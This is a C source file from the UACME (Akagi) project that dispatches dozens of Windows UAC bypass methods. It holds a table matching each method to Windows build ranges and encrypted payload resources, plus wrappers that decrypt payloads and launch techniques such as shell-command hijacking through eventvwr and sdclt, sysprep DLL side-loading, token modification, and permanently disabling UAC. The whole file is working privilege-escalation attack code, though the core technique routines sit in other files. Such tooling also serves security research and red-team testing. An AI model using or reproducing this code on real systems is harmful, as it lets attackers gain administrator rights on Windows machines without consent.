UACME/Source/Akagi/methods/methods.c

727 lines
19 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2015 - 2017
*
* TITLE: METHODS.C
*
* VERSION: 2.76
*
* DATE: 13 July 2017
*
* UAC bypass dispatch.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
UCM_API(MethodTest);
UCM_API(MethodSysprep);
UCM_API(MethodAppCompat);
UCM_API(MethodSimda);
UCM_API(MethodCarberp);
UCM_API(MethodAVrf);
UCM_API(MethodWinsat);
UCM_API(MethodMMC);
UCM_API(MethodMMC2);
UCM_API(MethodSirefef);
UCM_API(MethodGeneric);
UCM_API(MethodGWX);
UCM_API(MethodSysprep4);
UCM_API(MethodManifest);
UCM_API(MethodInetMg);
UCM_API(MethodSXS);
UCM_API(MethodDism);
UCM_API(MethodComet);
UCM_API(MethodEnigma0x3);
UCM_API(MethodEnigma0x3_2);
UCM_API(MethodExpLife);
UCM_API(MethodSandworm);
UCM_API(MethodEnigma0x3_3);
UCM_API(MethodWow64Logger);
UCM_API(MethodEnigma0x3_4);
UCM_API(MethodUiAccess);
UCM_API(MethodMsSettings);
UCM_API(MethodTyranid);
UCM_API(MethodTokenMod);
UCM_API(MethodJunction);
UCM_API(MethodSXSDccw);
UCM_API(MethodHakril);
UCM_API_DISPATCH_ENTRY ucmMethodsDispatchTable[UCM_DISPATCH_ENTRY_MAX] = {
{ MethodTest, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodSysprep, NULL, { 7600, 9600 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodSysprep, NULL, { 9600, 10240 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodSysprep, NULL, { 7600, 10548 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodAppCompat, NULL, { 7600, 10240 }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodSimda, NULL, { 7600, 10136 }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
{ MethodCarberp, NULL, { 7600, 10147 }, FUBUKI_ID, FALSE, FALSE, TRUE },
{ MethodCarberp, NULL, { 7600, 10147 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodSysprep, NULL, { 7600, 9600 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodAVrf, NULL, { 7600, 10136 }, HIBIKI_ID, FALSE, TRUE, TRUE },
{ MethodWinsat, NULL, { 7600, 10548 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodAppCompat, NULL, { 7600, 10240 }, FUBUKI_ID, TRUE, FALSE, TRUE },
{ MethodSysprep, NULL, { 10240, 10586 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodMMC, NULL, { 7600, 14316 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodSirefef, NULL, { 7600, 10548 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodGeneric, NULL, { 7600, 14316 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodGWX, NULL, { 7600, 14316 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodSysprep4, NULL, { 9600, 14367 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodManifest, NULL, { 7600, 14367 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodInetMg, NULL, { 7600, 14367 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodMMC2, NULL, { 7600, 16232 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodSXS, NULL, { 7600, 16232 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodSXS, NULL, { 7600, MAXDWORD }, IKAZUCHI_ID, FALSE, TRUE, TRUE },
{ MethodDism, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodComet, NULL, { 7600, 15031 }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodEnigma0x3, NULL, { 7600, 15031 }, FUBUKI_ID, FALSE, TRUE, FALSE },
{ MethodEnigma0x3_2, NULL, { 7600, 15031 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodExpLife, NULL, { 7600, 16199 }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
{ MethodSandworm, NULL, { 7600, 9600 }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodEnigma0x3_3, NULL, { 10240, 16215 }, PAYLOAD_ID_NONE, FALSE, TRUE, FALSE },
{ MethodWow64Logger, NULL, { 7600, MAXDWORD }, AKATSUKI_ID, FALSE, TRUE, TRUE },
{ MethodEnigma0x3_4, NULL, {10240, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodUiAccess, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodMsSettings, NULL, { 10240, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodTyranid, NULL, { 9600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodTokenMod, NULL, { 7600, MAXDWORD }, PAYLOAD_ID_NONE, FALSE, FALSE, FALSE },
{ MethodJunction, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodSXSDccw, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
{ MethodHakril, NULL, { 7600, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE }
};
/*
* IsMethodMatchRequirements
*
* Purpose:
*
* Check system requirements of the given method.
*
*/
BOOL IsMethodMatchRequirements(
_In_ PUCM_API_DISPATCH_ENTRY Entry
)
{
#ifndef _DEBUG
WCHAR szMessage[MAX_PATH];
#endif
//
// Check Wow64 flags first. Disable this check for debugging build.
//
#ifndef _DEBUG
if (g_ctx.IsWow64) {
if (Entry->DisallowWow64) {
ucmShowMessage(WOW64STRING);
SetLastError(ERROR_UNSUPPORTED_TYPE);
return FALSE;
}
}
#ifdef _WIN64
else {
//
// Not required if Win32.
//
if (Entry->Win32OrWow64Required != FALSE) {
ucmShowMessage(WOW64WIN32ONLY);
SetLastError(ERROR_UNSUPPORTED_TYPE);
return FALSE;
}
}
#endif //_WIN64
#endif //_DEBUG
//
// Check availability. Diable this check for debugging build.
//
#ifndef _DEBUG
if (g_ctx.dwBuildNumber < Entry->Availability.MinumumWindowsBuildRequired) {
RtlSecureZeroMemory(&szMessage, sizeof(szMessage));
_strcpy(szMessage, L"Current Windows Build: ");
ultostr(g_ctx.dwBuildNumber, _strend(szMessage));
_strcat(szMessage, L"\nMinimum Windows Build Required: ");
ultostr(Entry->Availability.MinumumWindowsBuildRequired, _strend(szMessage));
_strcat(szMessage, L"\nAborting execution.");
ucmShowMessage(szMessage);
SetLastError(ERROR_UNSUPPORTED_TYPE);
return FALSE;
}
if (g_ctx.dwBuildNumber >= Entry->Availability.MinimumExpectedFixedWindowsBuild) {
if (ucmShowQuestion(UACFIX) == IDNO) {
SetLastError(ERROR_UNSUPPORTED_TYPE);
return FALSE;
}
}
#endif
//
// Set optional parameter if method support it.
//
if (Entry->SetParameterInRegistry) {
if (g_ctx.OptionalParameterLength != 0) {
supSetParameter(
(LPWSTR)&g_ctx.szOptionalParameter,
(DWORD)(g_ctx.OptionalParameterLength * sizeof(WCHAR))
);
}
}
return TRUE;
}
/*
* MethodsManagerCall
*
* Purpose:
*
* Run method by method id.
*
*/
BOOL MethodsManagerCall(
_In_ UCM_METHOD Method
)
{
BOOL bResult;
SIZE_T Dummy;
ULONG PayloadSize = 0, DataSize = 0;
PVOID PayloadCode = NULL, Resource = NULL;
PVOID ImageBaseAddress = NtCurrentPeb()->ImageBaseAddress;
PUCM_API_DISPATCH_ENTRY Entry;
Entry = &ucmMethodsDispatchTable[Method];
if (!IsMethodMatchRequirements(Entry))
return FALSE;
if (Entry->PayloadResourceId != PAYLOAD_ID_NONE) {
Resource = supLdrQueryResourceData(
Entry->PayloadResourceId,
ImageBaseAddress,
&DataSize);
if (Resource)
PayloadCode = g_ctx.DecryptRoutine(Resource, DataSize, &PayloadSize);
if (PayloadCode == NULL) {
SetLastError(ERROR_INVALID_DATA);
return FALSE;
}
}
bResult = Entry->Routine(Method, NULL, PayloadCode, PayloadSize);
if (PayloadCode) {
RtlSecureZeroMemory(PayloadCode, PayloadSize);
Dummy = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &PayloadCode, &Dummy, MEM_RELEASE);
}
return bResult;
}
/************************************************************
**
**
**
** Method table wrappers
**
**
**
************************************************************/
UCM_API(MethodTest)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
#ifdef _DEBUG
return ucmTestRoutine(PayloadCode, PayloadSize);
#else
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
return TRUE;
#endif
}
UCM_API(MethodSysprep)
{
UNREFERENCED_PARAMETER(ExtraContext);
return ucmStandardAutoElevation(Method, PayloadCode, PayloadSize);
}
UCM_API(MethodAppCompat)
{
UNREFERENCED_PARAMETER(ExtraContext);
return ucmAppcompatElevation(
Method,
PayloadCode,
PayloadSize,
(g_ctx.OptionalParameterLength != 0) ? g_ctx.szOptionalParameter : NULL);
}
UCM_API(MethodSimda)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
//
// Make sure user understand aftereffects.
//
if (ucmShowQuestion(
TEXT("This method will permanently TURN UAC OFF, are you sure?")) == IDYES)
{
return ucmSimdaTurnOffUac();
}
SetLastError(ERROR_CANCELLED);
return FALSE;
}
UCM_API(MethodCarberp)
{
UNREFERENCED_PARAMETER(ExtraContext);
//
// Additional checking for UacMethodCarberp1.
// Target application 'migwiz' unavailable in Syswow64 after Windows 7.
//
if (Method == UacMethodCarberp1) {
if ((g_ctx.IsWow64) && (g_ctx.dwBuildNumber > 7601)) {
ucmShowMessage(WOW64STRING);
SetLastError(ERROR_UNSUPPORTED_TYPE);
return FALSE;
}
}
return ucmWusaMethod(Method, PayloadCode, PayloadSize);
}
UCM_API(MethodAVrf)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
return ucmAvrfMethod(PayloadCode, PayloadSize);
}
UCM_API(MethodWinsat)
{
BOOL UseWusa = FALSE;
LPWSTR lpFileName;
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
//
// Additional checking.
// Switch used filename because of \KnownDlls changes.
//
if (g_ctx.dwBuildNumber < 9200) {
lpFileName = POWRPROF_DLL;
}
else {
lpFileName = DEVOBJ_DLL;
}
//
// Use Wusa where available.
//
UseWusa = (g_ctx.dwBuildNumber <= 10136);
return ucmWinSATMethod(lpFileName, PayloadCode, PayloadSize, UseWusa);
}
UCM_API(MethodMMC)
{
UNREFERENCED_PARAMETER(ExtraContext);
//
// Required dll dependency not exist in x86-32
//
#ifdef _WIN64
return ucmMMCMethod(Method, ELSEXT_DLL, PayloadCode, PayloadSize);
#else
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
SetLastError(ERROR_FILE_NOT_FOUND);
return FALSE;
#endif
}
UCM_API(MethodMMC2)
{
UNREFERENCED_PARAMETER(ExtraContext);
return ucmMMCMethod(Method, WBEMCOMN_DLL, PayloadCode, PayloadSize);
}
UCM_API(MethodSirefef)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
return ucmSirefefMethod(PayloadCode, PayloadSize);
}
UCM_API(MethodGeneric)
{
WCHAR szBuffer[MAX_PATH * 2];
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx.szSystemDirectory);
_strcat(szBuffer, CLICONFG_EXE);
return ucmGenericAutoelevation(szBuffer, NTWDBLIB_DLL, PayloadCode, PayloadSize);
}
UCM_API(MethodGWX)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
return ucmGWX(PayloadCode, PayloadSize);
}
UCM_API(MethodSysprep4)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
return ucmStandardAutoElevation2(PayloadCode, PayloadSize);
}
UCM_API(MethodManifest)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
return ucmAutoElevateManifest(PayloadCode, PayloadSize);
}
UCM_API(MethodInetMg)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
if ((PayloadCode == NULL) || (PayloadSize == 0)) {
SetLastError(ERROR_INVALID_DATA);
return FALSE;
}
return ucmInetMgrMethod(PayloadCode, PayloadSize);
}
UCM_API(MethodSXS)
{
BOOL bConsentItself = FALSE;
LPWSTR lpTargetDirectory = NULL;
LPWSTR lpTargetApplication = NULL;
LPWSTR lpLaunchApplication = NULL;
UNREFERENCED_PARAMETER(ExtraContext);
//
// Select parameters depending on method used.
//
if (Method == UacMethodSXS) {
bConsentItself = FALSE;
lpTargetDirectory = SYSPREP_DIR;
lpTargetApplication = SYSPREP_EXE;
lpLaunchApplication = NULL;
}
else {
if (Method == UacMethodSXSConsent) {
//
// Make sure user understand aftereffects.
//
if (ucmShowQuestion(
TEXT("WARNING: This method will affect UAC interface, are you sure?")) != IDYES)
{
SetLastError(ERROR_CANCELLED);
return FALSE;
}
bConsentItself = TRUE;
lpTargetDirectory = NULL;
lpTargetApplication = CONSENT_EXE;
lpLaunchApplication = EVENTVWR_EXE;
}
}
if (lpTargetApplication == NULL) {
SetLastError(ERROR_INVALID_DATA);
return FALSE;
}
return ucmSXSMethod(
PayloadCode,
PayloadSize,
lpTargetDirectory,
lpTargetApplication,
lpLaunchApplication,
bConsentItself);
}
UCM_API(MethodDism)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
return ucmDismMethod(PayloadCode, PayloadSize);
}
UCM_API(MethodComet)
{
LPWSTR lpszPayload = NULL;
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
//
// Select payload, if none default will be executed.
//
if (g_ctx.OptionalParameterLength != 0)
lpszPayload = g_ctx.szOptionalParameter;
else
lpszPayload = T_DEFAULT_CMD;
return ucmCometMethod(lpszPayload);
}
UCM_API(MethodEnigma0x3)
{
LPWSTR lpszTargetApp = NULL;
LPWSTR lpszPayload = NULL;
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
if ((PayloadCode == NULL) || (PayloadSize == 0)) {
SetLastError(ERROR_INVALID_DATA);
return FALSE;
}
//
// Select target application.
//
if (g_ctx.dwBuildNumber >= 15007)
lpszTargetApp = COMPMGMTLAUNCHER_EXE;
else
lpszTargetApp = EVENTVWR_EXE;
//
// Select payload, if none default will be executed.
//
if (g_ctx.OptionalParameterLength != 0)
lpszPayload = g_ctx.szOptionalParameter;
else
lpszPayload = NULL;
return ucmHijackShellCommandMethod(lpszPayload, lpszTargetApp, PayloadCode, PayloadSize);
}
UCM_API(MethodEnigma0x3_2)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
if ((PayloadCode == NULL) || (PayloadSize == 0)) {
SetLastError(ERROR_INVALID_DATA);
return FALSE;
}
return ucmDiskCleanupRaceCondition(PayloadCode, PayloadSize);
}
UCM_API(MethodExpLife)
{
WCHAR szBuffer[MAX_PATH + 1];
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
//
// Select target application or use given by optional parameter.
//
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
if (g_ctx.OptionalParameterLength == 0)
supExpandEnvironmentStrings(T_DEFAULT_CMD, szBuffer, MAX_PATH);
else
_strcpy(szBuffer, g_ctx.szOptionalParameter);
return ucmUninstallLauncherMethod(szBuffer);
}
UCM_API(MethodSandworm)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
if ((PayloadCode == NULL) || (PayloadSize == 0)) {
SetLastError(ERROR_INVALID_DATA);
return FALSE;
}
return ucmSandwormMethod(PayloadCode, PayloadSize);
}
UCM_API(MethodEnigma0x3_3)
{
LPWSTR lpszPayload = NULL;
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
//
// Select target application or use given by optional parameter.
//
if (g_ctx.OptionalParameterLength == 0)
lpszPayload = NULL;
else
lpszPayload = g_ctx.szOptionalParameter;
return ucmAppPathMethod(lpszPayload, CONTROL_EXE, SDCLT_EXE);
}
UCM_API(MethodWow64Logger)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
//
// Required x64 as this method abuse wow64 logger mechanism
//
#ifdef _WIN64
return ucmWow64LoggerMethod(PayloadCode, PayloadSize);
#else
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
SetLastError(ERROR_INSTALL_PLATFORM_UNSUPPORTED);
return FALSE;
#endif
}
UCM_API(MethodEnigma0x3_4)
{
LPWSTR lpszPayload = NULL;
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
if (g_ctx.OptionalParameterLength == 0)
lpszPayload = NULL;
else
lpszPayload = g_ctx.szOptionalParameter;
return ucmSdcltIsolatedCommandMethod(lpszPayload);
}
UCM_API(MethodUiAccess)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
return ucmUiAccessMethod(PayloadCode, PayloadSize);
}
UCM_API(MethodMsSettings)
{
LPWSTR lpszPayload = NULL;
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
if (g_ctx.OptionalParameterLength == 0)
lpszPayload = NULL;
else
lpszPayload = g_ctx.szOptionalParameter;
return ucmMsSettingsDelegateExecuteMethod(lpszPayload);
}
UCM_API(MethodTyranid)
{
LPWSTR lpszPayload = NULL;
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
//
// Select target application or use given by optional parameter.
//
if (g_ctx.OptionalParameterLength == 0)
lpszPayload = NULL;
else
lpszPayload = g_ctx.szOptionalParameter;
return ucmDiskCleanupEnvironmentVariable(lpszPayload);
}
UCM_API(MethodTokenMod)
{
LPWSTR lpszPayload = NULL;
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
//
// Select target application or use given by optional parameter.
//
if (g_ctx.OptionalParameterLength == 0)
lpszPayload = NULL;
else
lpszPayload = g_ctx.szOptionalParameter;
return ucmTokenModification(lpszPayload);
}
UCM_API(MethodJunction)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
return ucmJunctionMethod(PayloadCode, PayloadSize);
}
UCM_API(MethodSXSDccw)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
return ucmSXSMethodDccw(PayloadCode, PayloadSize);
}
UCM_API(MethodHakril)
{
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(ExtraContext);
#ifdef _WIN64
return ucmMethodHakril(PayloadCode, PayloadSize);
#else
UNREFERENCED_PARAMETER(PayloadCode);
UNREFERENCED_PARAMETER(PayloadSize);
SetLastError(ERROR_INSTALL_PLATFORM_UNSUPPORTED);
return FALSE;
#endif
}